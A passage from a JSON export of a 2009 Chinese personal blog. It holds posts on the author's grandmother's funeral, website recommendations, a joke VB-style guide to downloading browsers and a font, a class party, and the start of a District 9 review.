的）一直都没舍得用电的，屋子里最现代的设施就是手电筒和一台很老式的闹钟了。我记得小的时候外公外婆家里还是点煤油灯的呢……我妈妈跟外公外婆接了电 的，他们两个也不用，可能是不习惯吧。记得外公晚上总是拿着个手电筒，还有一杆烟枪，就跑到我三舅舅家里去看电视，过一会就回来的。另外说一句，我外公很 疼我的。\n一曲安魂曲，献给外公外婆，希望他们在另一边能快乐、开心。 ","count":986,"date":"2009年10月24日","featuredImage":null,"permalink":"https://imnerd.org/shi-zhe-yi-yi.html","summary":"\u003cimg class=\"alignnone size-full wp-image-897\" title=\"逝者已矣\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/10/7f501bda1c15a71f33fa1cd6.jpg\" alt=\"逝者已矣\" width=\"450\" height=\"139\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e月挂枝头，蝉鸣彻夜，我坐在门口，旁边是外婆的遗体。昨天下午晚上的时候，我还在帮同学电脑装系统，刚刚和我打完电话的妈妈突然又打电话过来。接通电话，手机传来妈妈哭丧的声音，外婆过世了！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e自从外公过世后，外婆的身体一直不好，都是在床上度日。所以，对于外婆的过世，也说不上觉得突然。今天中午一点半的时候就搭舅舅的车到外婆家了。妈妈恰好也到了。外婆还没有入棺，当妈妈揭开遮盖外婆遗体的白布后，大家都忍不住哭了出来。外婆比上次又瘦了好多，哪里还有肉，基本就是皮包骨了，看的我是催人泪下。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e关于外婆的记忆，虽然我小时候是我外婆带的，但所存的记忆却是寥寥无几的。犹记得的是小时候外婆带我去采茶叶，但是似乎采的茶叶不符合规矩，在路上就给全倒了。我采茶的一点小知识也是那时候积累起来的。还有外婆有时候会带着我到屋后的竹林子里面去挖竹笋炒给我吃。另外还记得小时候不吃饭，外婆用是在背后插一根扫把枝来吓我。只是东西还是原来的东西，但人已经不是原来的人了。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e外公去世的时候我很可惜并没能到场。这次外婆去世正好赶上星期六，虽然说明天还有选修课，但不管怎么说还是得来的。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e早上的时候入棺的，比较郁闷的是我属羊的居然不能看，要避开，囧！抬出来的时候和进棺都不许看的，搞的我很郁闷。寿方似乎是现做的，以前外婆准备的那个不知道到哪里去了。另外，从这次的事情中，我真的能看出商人和学者这两者的本质区别。我妈属于商人派的，动不动就说到钱上面去，而我舅舅属于学者派的，对这样的东西根本不在乎，他更在乎的是这份情谊。（当然也不是说我妈对我外婆不好啦，只是太现实了而已，总是斤斤计较）在我看来，有些东西根本没必要吵起来的，毕竟是忌日……哎……另外再说一句，家和真的很重要。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e月黑风高，烛光闪耀，我收了收心神，伸伸懒腰，该下去睡觉了。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cimg class=\"alignnone size-full wp-image-905\" title=\"thi044\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/10/thi0442.jpg\" alt=\"thi044\" width=\"450\" height=\"338\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e这 栋房子就是我外公和外婆住了一辈子的房子，很老式的泥土房。旁边大的一边还给了我一个舅舅去了，自己两口子就住在旁边的小屋子里面。（就是从照片这边看到 的）一直都没舍得用电的，屋子里最现代的设施就是手电筒和一台很老式的闹钟了。我记得小的时候外公外婆家里还是点煤油灯的呢……我妈妈跟外公外婆接了电 的，他们两个也不用，可能是不习惯吧。记得外公晚上总是拿着个手电筒，还有一杆烟枪，就跑到我三舅舅家里去看电视，过一会就回来的。另外说一句，我外公很 疼我的。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"逝者已矣"},{"comments":{"data":[31],"errmsg":"","errno":0},"contents":"\r又沉默了好多天了，没什么想说的，还是老样子，给大家推荐些网站吧。[貌似我真的要成为hao123了……] 一、饭否同人：http://rememberfanfou.blogbus.com/\n当你第一眼看这个网站的时候，你是不是和我一样，要泪奔了？反正我当时是很激动啦~我的妈呀，这纯属于饭否兄再世了呀，简直是不敢相信的说。甭管日志了，就冲这个模板，我也要把它顶上来。[其实人家内容也不错的说，是关于饭否兄的一些同人吧，我看了下最近的那篇同人，画的很形象。] 二、在线操作系统+网络硬盘：http://g.ho.st\n恩，这个在线操作系统其实在我上次介绍的http://windows4all.com立面有的。对拉，就是那个Virtual PC，里面就内置了它的链接。我注册了一个试了一下，发现没有Windows4all好，而且还有点卡，但是人家提供5GB的网盘给我们（而且每邀请到一个好友就增加1GB，绝对超值哇！），就这点，它的缺点我也可以忍受！ 三、在线拼图网站：http://flash-gear.com/puzzle\n一个在线拼图网站，你可以自己上传图片，然后还可以选择碎片的大小[相当于选择难度]。我一直都很想玩拼图，无奈拼图好贵的说……这个网站太合我胃口了，废话少说，我放上一个来给大家玩玩，看大家能不能知道我上传的图片是什么呢？嘿嘿……[加载可能会比较慢，请耐心等待……]\n四、在线传真：http://myfax.com/free\n这个对于身边突然找不到传真机的人应该非常有用，填写好邮件地址和对方的传真号码[当然，实现要通知一下]，传真任务就发送到网站去了。如果发送成功，则你的邮箱会接收到关于传真成功的邮件，如果发送失败，则会提示你发送失败及其原因。由于没有确切的发送时间，所以这个传真在我看来还不是那么的方便。[当然，如果附近连网络都没有的话那就更不方便了……] 五、我只做爱：http://ijustmadelove.com\n这个网站就有趣了，以地图的形式记录你做爱的时间、地点以及体位（妈呀，想了半天终于想起来这个词了）。具体不多说，相信某部分人看网址就吸引过去了。蓝色的为男性，红色的为女性。[我在上面发现了好几对GAY和拉拉哦……激动的呀，痛哭流涕……其中居然找到一对在中国的……貌似是某个小县城，不出名的那中，泪奔……] PS:前些日子googlepages就通知要把pages转移到googlesites上去了，我并没怎么在意，结果今天突然上的时候已经不能上了，提示转移了。但是更无语的是，就这么几天，GFW又把GoogleSites“拒之门外”了，我个泪奔啊……我现在基本都是拿Googlepages当外联空间用啊……我这几篇日志的Flash日志头都放那里的说，还有其它一些图片，音乐，囧……还好，google还挺人性的，提供了全站下载，只是我要这么一个一个的改，会累死的说……\n","count":1193,"date":"2009年10月18日","featuredImage":null,"permalink":"https://imnerd.org/wang-zhan-hui-zong-2.html","summary":"\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/f4fa60edde2642eca231a720d91abfcc\" alt=\"\" width=\"450\" height=\"120\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e又沉默了好多天了，没什么想说的，还是老样子，给大家推荐些网站吧。[貌似我真的要成为hao123了……]\u003c/span\u003e\u003c/span\u003e\n\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 20px;\"\u003e\u003cspan style=\"font-weight: bold;\"\u003e\u003cspan style=\"color: #ff1493;\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"网站汇总「二」"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 如果你想获得更好的网页效果，请参照以下IF语句对您的电脑进行优化： Private Sub 怡红院落_Load() If 你的电脑 is Windows XP then 请下载 IE8 For XP to 升级你的浏览器 OR 你也可以下载 FireFox OR Safari OR Chorme浏览器 And 你最好也同时下载 微软雅黑 字体 [安装方法见下……] Elseif 你的电脑 is Window Vista (Home Basic Or Ultimate) then Print \u0026ldquo;祝贺你，你已经能够获得更好的视觉效果了\u0026hellip;但是我仍然建议你Download IE8 For Vista to 升级您的浏览器\u0026hellip;\u0026rdquo; Elseif 你的电脑 is Window 7 then Print \u0026ldquo;祝贺你，你已经能够获得更好的视觉效果了\u0026hellip;但是我仍然建议你Download FireFox 以获得更好的可玩性\u0026rdquo; Elseif 你的电脑 is Ubuntu or other Linux then Print \u0026ldquo;你可以忽略这些IF语句了\u0026rdquo; End if End Sub\n温馨提示： 微软雅黑字体的安装方法： 请将下载下来的压缩包解压（什么？！你不会解压？好吧，对改文件单击右键，选择解压到当前文件夹，是不是多出两个文件出来了？），然后将解压出来的msyh.ttf和msyhbd.ttf两个文件复制到\u0026quot;C:/Windows/Fonts\u0026quot;文件夹下（假设你的系统是放在C盘）。这样微软雅黑字体就安装好了（其它字体也是一样安装的哦！）。\n说文解字： [下面的内容全部来自维基百科]\n微软雅黑：\r微软雅黑是美国微软公司委托中国方正集团设计的一款全面支持ClearType技术的字体。蒙纳公司（Monotype Corporation）负责了字体的Hinting工作。它属于OpenType类型，文件名是MSYH.TTF，在字体设计上属于无衬线字体和黑体。\n该字体家族还包括“微软雅黑Bold”（粗体），文件名为MSYHBD.TTF。这个粗体不是单纯的将普通字符加粗，而是在具体笔画上分别进行处理，因此是独立的一个字体。\n微软雅黑是随着简体中文版Windows Vista一起发布的字体，也是Windows Vista默认的字体。在使用ClearType功能的液晶显示器中，微软雅黑比以前Windows XP默认的中易宋体更加的清晰易读。另外，Microsoft Office 2007简体中文版也附带这个字体。2008年5月6日，微软发布了适用于Windows XP的雅黑字体版本。\n在涵盖的字库上，微软雅黑支持GBK字符集，包含了Unicode的所有 20902个中文字符以及中国国家标准化组织添加的大约 80个中文字符，还包含了Big5的繁体中文字符和GB2312中的简体中文字符。\n当使用于不能显示中文字型名称的系统和繁体中文的系统时，会显示为Microsoft YaHei。\n如果你想了解更多，请点击：WikiPedia About 微软雅黑\nInternet Explorer 8:\rInternet Explorer 8是微软所开发的一套使用GUI的网页浏览器，它是Internet Explorer系列中目前最新的版本。这个软件于2009年3月19日首次发行适用于Windows的版本，至今仍未有次要版本的更新。它内建于Windows 7以及Windows Server 2008 R2中以当做默认的网页浏览器，同时也发行了支援Windows XP和Windows Vista的版本供使用者下载（不支援Windows XP SP1）。\r如果你想了解更多，请点击：WikiPedia About IE8\nFirefox: Mozilla Firefox（以下简称为\u0026quot;Firefox\u0026quot;，正式缩写为 \u0026ldquo;Fx\u0026rdquo;，非正式缩写为\u0026quot;FF\u0026quot;），中文俗称为“火狐”（被官方使用但是没作为商标），是由Mozilla基金会与开源团体共同开发的网页浏览器。Firefox是从Mozilla Application Suite派生出来的网页浏览器，从2005年开始，每年都被媒体PC Magazine选为年度最佳浏览器。根据统计，截至2008年7月，Firefox浏览器市占率为19.22%。而到了2009年7月，统计的数据显示Firefox 的市场占有率达到了30%，仅次于微软的Internet Explorer。\nFirefox拥有标签页浏览、拼字检查、即时书签、下载管理员及自定义搜索引擎等功能。此外还可以通过由第三方开发者贡献的附加组件（早先版本译为“扩展”）来加强各种功能，高扩展性是Firefox的特色之一。较受欢迎的有专门浏览IE only网页的IE Tab、阻挡网页广告的Adblock Plus、下载FLV格式在线影片的Video Downloader Helper、保护计算机安全的NoScript等。截至2008年，Firefox可用的附加组件多于2,000种。\nFirefox 使用开放源码的网页排版引擎Gecko，Gecko 能够让浏览器尽可能按标准来显示网页内容。\nFirefox几经更名，其曾用名有mozilla/browser，Phoenix，Firebird，而最终定下的名称“Firefox”在英文俗语里指的是小熊猫（学名：Ailurus fulgens），显然开发小组使用了直译的方法，使得吉祥物及官方图标都是一只火红的小狐狸。当需要避免与动物\u0026quot;Firefox\u0026quot;混淆的场合，应使用全称\u0026quot;Mozilla Firefox\u0026quot;来表述。\nFirefox可以在多种操作系统中运行，源代码以GPL/LGPL/MPL三种授权方式释出。\n如果你想了解更多，请点击：WikiPedia About FireFox\nSafari:\rSafari是苹果公司所开发的网页浏览器，并内置于Mac OS X。Safari在2003年1月7日首度发行测试版，并成为Mac OS X v10.3与之后的默认浏览器，也是iPhone与iPod touch的指定浏览器。Windows版本的首个测试版在2007年6月11日推出，支持Windows XP与Windows Vista，在2008年3月18日推出正式版。\n从Safari发行起市占率不断攀升。2008年2月，TheCounter.com报告Safari的市占率为3.34%，而Net Applications表示在2007年4月市占率为4.61%，2008年2月为5.70%，2009年1月爬升至8.29%。\n如果你想了解更多，请点击：WikiPedia About Safari\nGoogle Chorme: Google Chrome（大陆官方译名：谷歌浏览器，香港/台湾官方译名：Google瀏覽器，英文：Google Chrome）是一个由Google公司开发的网页浏览器，“Chrome”是化学元素“铬”的英文名称。Google Chrome采用BSD许可证授权并开放源代码，开源计划名为Chromium，2009年8月目前占据浏览器市占率2.59%的比例 。其代码是基于其他开放源代码软件所撰写，包括WebKit和Mozilla，并开发出称为“V8”的高效能JavaScript引擎。Google Chrome的整体发展目标是提升稳定性、速度和安全性，并创造出简单且有效率的用户界面。软件的名称是来自于又称作“Chrome”的网络浏览器图形用户界面。CNET旗下的Download.com网站评出的2008年6大最佳Windows应用程序，其中搜索巨头Google的Google Chrome浏览器排名首位。\n软件的Beta测试版本在2008年9月2日发布，正式版本于2008年12月11日发布，目前提供50种语言版本，但仅适用于Microsoft Windows的XP SP2以上版本，并不支持Windows 2000或更早期的版本。Mac OS X和Linux版本正在开发中，并于2009年6月5日首次针对开发者推出Mac和Linux版官方Chrome浏览器，正式版将于日后推出。\n如果你想了解更多，请点击：WikiPedia About Chorme\n","count":3062,"date":"2009年10月15日","featuredImage":null,"permalink":"https://imnerd.org/@download.html","summary":"\u003chr\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑；\"\u003e\u003cspan style=\"font-size:14px;\"\u003e\u003cspan style=\"color:deeppink;\"\u003e如果你想获得更好的网页效果，请参照以下IF语句对您的电脑进行优化：\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003ccode\u003ePrivate Sub 怡红院落_Load()\nIf 你的电脑 is Windows XP then\n请下载 \u003ca href=\"http://www.uushare.com/user/lizheming/file/2119938\"\u003eIE8 For XP\u003c/a\u003e to 升级你的浏览器\nOR\n你也可以下载 \u003ca href=\"http://www.uushare.com/user/lizheming/file/2119927\"\u003eFireFox\u003c/a\u003e OR \u003ca href=\"http://www.uushare.com/user/lizheming/file/2119976\"\u003eSafari\u003c/a\u003e OR \u003ca href=\"http://www.google.com/chrome?hl=zh-CN\"\u003eChorme\u003c/a\u003e浏览器\nAnd\n你最好也同时下载 \u003ca href=\"http://www.uushare.com/user/lizheming/file/2119986\"\u003e微软雅黑\u003c/a\u003e 字体 [安装方法见下……]\nElseif 你的电脑 is Window Vista (Home Basic Or Ultimate) then\nPrint \u0026ldquo;祝贺你，你已经能够获得更好的视觉效果了\u0026hellip;但是我仍然建议你Download \u003ca href=\"http://www.uushare.com/user/lizheming/file/2119952\"\u003eIE8 For Vista\u003c/a\u003e to 升级您的浏览器\u0026hellip;\u0026rdquo;\nElseif 你的电脑 is Window 7 then\nPrint \u0026ldquo;祝贺你，你已经能够获得更好的视觉效果了\u0026hellip;但是我仍然建议你Download \u003ca href=\"http://www.uushare.com/user/lizheming/file/2119927\"\u003eFireFox\u003c/a\u003e 以获得更好的可玩性\u0026rdquo;\nElseif 你的电脑 is Ubuntu or other Linux then\nPrint \u0026ldquo;你可以忽略这些IF语句了\u0026rdquo;\nEnd if\nEnd Sub\u003c/code\u003e\u003c/p\u003e","time":7,"title":"下载"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":"\r话说于某年某月某日的某个晚上，我们班集体开了个Party（美名晚会）。难得的Party啊，一年难得搞那么一次，呵呵。办的还不错啦，节目真的很强大（班长自己想出来的说。）\n晚会这样的东西无外乎唱唱歌跳跳舞啥的，我这里就主要讲讲那些开胃小菜，比如小游戏，小魔术什么的，呵呵。这个自从刘谦大大走秀春晚之后，魔术风靡了全国上下啊。Party有两个小魔术，一个是变同样的纸牌的，还有一个就是抽牌使得两张牌一样的，废话不多说，看图。\n然后还有说的就是那个游戏了，其它的我不多说，就说一个，气球整蛊的。有一串气球，每个祈求内都放有一张纸条，纸条上写着一件你要做的事情。变态之处就在于这个内容，比如说有个很悲哀的男同学，他居然抽到这个：找一名同性同学，然后亲对方的脸！天，当场晕倒。班长肯定是故意的，女生肯定见怪不怪，就是男生才不好意思。最后大家看他过来都跟躲H1N1样的。我们可怜的超超同学不幸中靶。[我在考虑要不要把这张艳照传上来……]\n还有比较整蛊的就是：对着窗外大喊我有痔疮，对着大家说我是芙蓉姐姐（姐夫）[我们可怜的超超又再一次的不幸中弹……]，搞笑表情五连拍[这个照片我也要考虑一下……]。哦，对，还有一个爆气球的，就是找名异性背靠背挤破气球的。这个内容不是很整蛊，最重要的是一对热恋中的情侣上去啦，嘿嘿上照片喽\n[就差没让他们唱夫妻双双把家回了，哈哈……]\rPS:日志头部的图片是我三张图片拼接出来的，啧啧，接口的地方好挫……大家见谅\r","count":611,"date":"2009年10月13日","featuredImage":null,"permalink":"https://imnerd.org/yi-ge-wan-hui.html","summary":"\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/13b776c70ea340a38794513348184f1d\" alt=\"\" width=\"450\" height=\"164\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e话说于某年某月某日的某个晚上，我们班集体开了个Party（美名晚会）。难得的Party啊，一年难得搞那么一次，呵呵。办的还不错啦，节目真的很强大（班长自己想出来的说。）\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e晚会这样的东西无外乎唱唱歌跳跳舞啥的，我这里就主要讲讲那些开胃小菜，比如小游戏，小魔术什么的，呵呵。这个自从刘谦大大走秀春晚之后，魔术风靡了全国上下啊。Party有两个小魔术，一个是变同样的纸牌的，还有一个就是抽牌使得两张牌一样的，废话不多说，看图。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/ab9d3ca737dc44b988aa9540d9a6b711\" alt=\"\" width=\"450\" height=\"607\" /\u003e\r\n\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e \u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\r\n\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/3e7feebcbca84959917707d98e3d2880\" alt=\"\" width=\"450\" height=\"374\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e然后还有说的就是那个游戏了，其它的我不多说，就说一个，气球整蛊的。有一串气球，每个祈求内都放有一张纸条，纸条上写着一件你要做的事情。变态之处就在于这个内容，比如说有个很悲哀的男同学，他居然抽到这个：找一名同性同学，然后亲对方的脸！天，当场晕倒。班长肯定是故意的，女生肯定见怪不怪，就是男生才不好意思。最后大家看他过来都跟躲H1N1样的。我们可怜的超超同学不幸中靶。[我在考虑要不要把这张艳照传上来……]\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e还有比较整蛊的就是：对着窗外大喊我有痔疮，对着大家说我是芙蓉姐姐（姐夫）[我们可怜的超超又再一次的不幸中弹……]，搞笑表情五连拍[这个照片我也要考虑一下……]。哦，对，还有一个爆气球的，就是找名异性背靠背挤破气球的。这个内容不是很整蛊，最重要的是一对热恋中的情侣上去啦，嘿嘿\u003cdel\u003e上照片喽\u003c/del\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/697c2cd262e44174a14d9efb0119c823\" alt=\"\" width=\"450\" height=\"367\" /\u003e\r\n\u003cspan style=\"color:deeppink;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"font-size:14px;\"\u003e [就差没让他们唱夫妻双双把家回了，哈哈……]\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\r\n\u003cspan style=\"font-family: 微软雅黑; color: #333399;\"\u003ePS:日志头部的图片是我三张图片拼接出来的，啧啧，接口的地方好挫……大家见谅\u003c/span\u003e","time":2,"title":"一个晚会"},{"comments":{"data":[23],"errmsg":"","errno":0},"contents":"\n这两天也没啥好说的，索性今天就发篇日志把我这两天淘到得比较好的一些网站给大家说说，怎么也要凑篇日志出来，呵呵。\n一、在线广播：http://moradio.cn\n恩，这个网站实在是没话说的了，我目前见过的最好看的，最实用的电台网站。能够收听好多地方电台和网络电台，国内的和国外的都可以。而且还有点播台可以播放哦，不过都是些书评和有声电子书。另外，界面做的也非常的清爽，除了播放器和节目栏就只剩下个大背景了。另外，要说下的就是，键盘的左右键可以更换网站的壁纸哦！[神奇吧……] 二、在线操作系统：http://windows4all.com\n恩，这个网站的在线操作系统是仿Windows的，想要使用它，必须先安装Sliverlight才行。这个在线的亮点在于居然内置了VirtualPC！不过这并不是正真意义上的VPC，因为它只是内置了几个在线操作系统的链接而已[似乎]。另外就是，它似乎还可以安装软件，不过貌似要特殊的格式。比较遗憾的是，它不支持中文，是完全不支持！ 三、IP查询：http:myip.cn\n大家别看我这里只是写IP查询，实际上它能做的有很多呢，比如基本的IP地址查询，网站综合信息查询，域名注册信息，搜索引擎收录，Alexa排名，Google PR，Sogou PR，反向链接，百度关键字指数等等……它都能够做到。最值得我说的就是，它能够同IP的网站哦。这个功能无疑来说对我是非常有吸引力的。我查了下我的，有20个网站在我的主机上[其中有些是一样的，www有没有的区别而已]\n四、试手机网：http://www.shishouji.com/\n恩，这个网站的强大之处在于汇总了流行手机的Flash操作案例，可以让我们网上模拟某款手机的使用。这样能够让我们买手机的时候心里有个底。不过我试了一下，功能太局限了，我不是太喜欢。不过人家很强大，就推荐上来啦。 五、免费正版软件：http://www.giveawayoftheday.com/\n恩，这个其实是用来凑数的，要写就写五个吧，哈哈……也是个不错的地方啊，免费提供正版软件[只是不知道它的这个正版使用期是多长，听说是一天……]，每天会有不同的正版软件放上来供大家下载。下面会有时间显示连接失效的时间……大家有兴趣的就去看看吧，英文的，我也不太懂，呵呵。\n六、上传图片：http://photoshop.com\n恩，差点就把这个我那个站给漏了。Adobe的啦，2GB的图片空间，有AIR软件可以使用。其实大家肯定都知道的啦[像安那样不知道的绝对少数……呵呵]，我这里要推荐的原因就是，它能够支持外链哦！我近期三篇日志的图片都是放在那里的，怎么样，还不错吧。大公司做的，我绝对相信人家的稳定性啦。呵呵。我现在就是AIR软件上传，再从网站获取链接地址，再贴上来。呵呵，耶！不过同样可惜的是，也不支持中文，T_T……倒是这个影响不大就是。\n其实还去了好多的网站的，比如delcious, chi.mp, friendfeed.com\u0026hellip;\u0026hellip;但是有好多大家都知道了，或者是都被GFW了，我就不写上去啦……\nPS:顺便问下大家，大家在院落留言的时候有没有什么不正常呢？我这里留言总会有错误，但是刷新之后留言是上去了的。想问下大家有没有这样的情况，有的话马上找原因。\n「原因已经找到，原来是那个备份数据库的插件搞的，呵呵，已经速速删了。大家又可以正常的留言喽！」 ","count":1395,"date":"2009年10月09日","featuredImage":null,"permalink":"https://imnerd.org/site-summary.html","summary":"\u003cp\u003e\u003cobject id=\"1280015\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"150\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"name\" value=\"1280015\" /\u003e\u003cparam name=\"flashvars\" value=\"bannerWidth=450\u0026amp;bannerHeight=150\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-10-09/2009-10-09_449e3de84f92508e1680404b15b19bce_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1280015\" /\u003e\u003cparam name=\"src\" value=\"https://imnerd.org/wp-content/uploads/material/20091009.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed id=\"1280015\" type=\"application/x-shockwave-flash\" width=\"450\" height=\"150\" src=\"https://imnerd.org/wp-content/uploads/material/20091009.swf\" quality=\"high\" wmode=\"transparent\" flashvars=\"bannerWidth=450\u0026amp;bannerHeight=150\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-10-09/2009-10-09_449e3de84f92508e1680404b15b19bce_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1280015\" name=\"1280015\"\u003e\u003c/embed\u003e\u003c/object\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e这两天也没啥好说的，索性今天就发篇日志把我这两天淘到得比较好的一些网站给大家说说，怎么也要凑篇日志出来，呵呵。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"网站汇总"},{"comments":{"data":[33],"errmsg":"","errno":0},"contents":"\r刚刚看完《第九区》，也是一部不错的影片哦。首先从这个立意的角度来分析吧，虽然说第九区是一部描写外星人的老套剧情片，但是思路却又一反常态，并不是一味的讲外星人侵略地球啥的，而是讲人类驱逐外星人的过程。仅仅这点，我相信第九区就有点看头了。其次来说，这外星人的造型我觉得也可以分析一下，真不知道导演是怎么想的，怎么会想到大虾的造型，难道是受了“大侠”的蛊惑？！哈哈……玩笑，反正这次的标新立异总体还好，就是本人对大虾的嘴巴那“牙齿”感觉灰常的恶心。比较搞笑的是，电影里面幼年的外星人真的就是不折不扣的大虾了呢（就是被日尔尼亚人圈起来“斗蛐蛐”的那类）。\n影片讲述了一群由于不明原因而在地球居住的大虾被迫迁到第十区的过程。期间主人公由于不小心喷射到了大虾们苦心收集的能源物质，体内的DNA发生变异，体态逐渐趋于大虾状态。那么影片的矛盾就出来了，由于大虾的武器载入DNA识别，因而人类无法使用，但是变异后的Wikus却能够轻易使用。实验室的那位讲到：他的命运不重要，重要的使我们能够从他身上得到什么。我刚开始觉得Wikus挺傻的，仁慈注意，另外话又多，一直讲个没完，居然让外星人签什么驱逐协议，看到这里的时候，我就有点同情他了。\n另外Wikus和那个大虾（忘记叫什么了）的合作，决裂到再度合作，将人性这个问题完全展现开来。开始听说能够治疗他，他同大虾合作，抢夺能源，但是听到大虾说要等三年才能来救他的时候他愤怒的砸晕了大虾。在最后的关头，面对联盟组织的穷追不舍，对自己的未来已经做好充分的准备后，Wikus想明白了。 Wikus说：“你一定要回家，不然我做的一切都白费了。”这种变化，自然而然的。\n下面依旧来谈一谈人物，我比较喜欢那个小虾啦，特别可爱的说，脑袋又聪明，说话又很可爱，真实爱死了，嘿嘿。不知道怎么搞的，我看的时候画面总是晃晃忽忽的，有种卡卡的感觉，不知道是画面做成这个样子的，还是我电脑比较卡的原因，反正看得有点累啊。\n再来贴贴我看的时候一些感想「其实已经在文章里面说了……」 温馨提示：单击此处查看大尺寸版 ｜ 单击此处查看清晰版 ","count":860,"date":"2009年10月06日","featuredImage":null,"permalink":"https://imnerd.org/9th-district.html","summary":"\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/ea30ea06e1ae44de91071b9736523d6d\" alt=\"\" width=\"450\" height=\"160\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"color:#333399\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e \u003cspan style=\"font-size:14px;\"\u003e 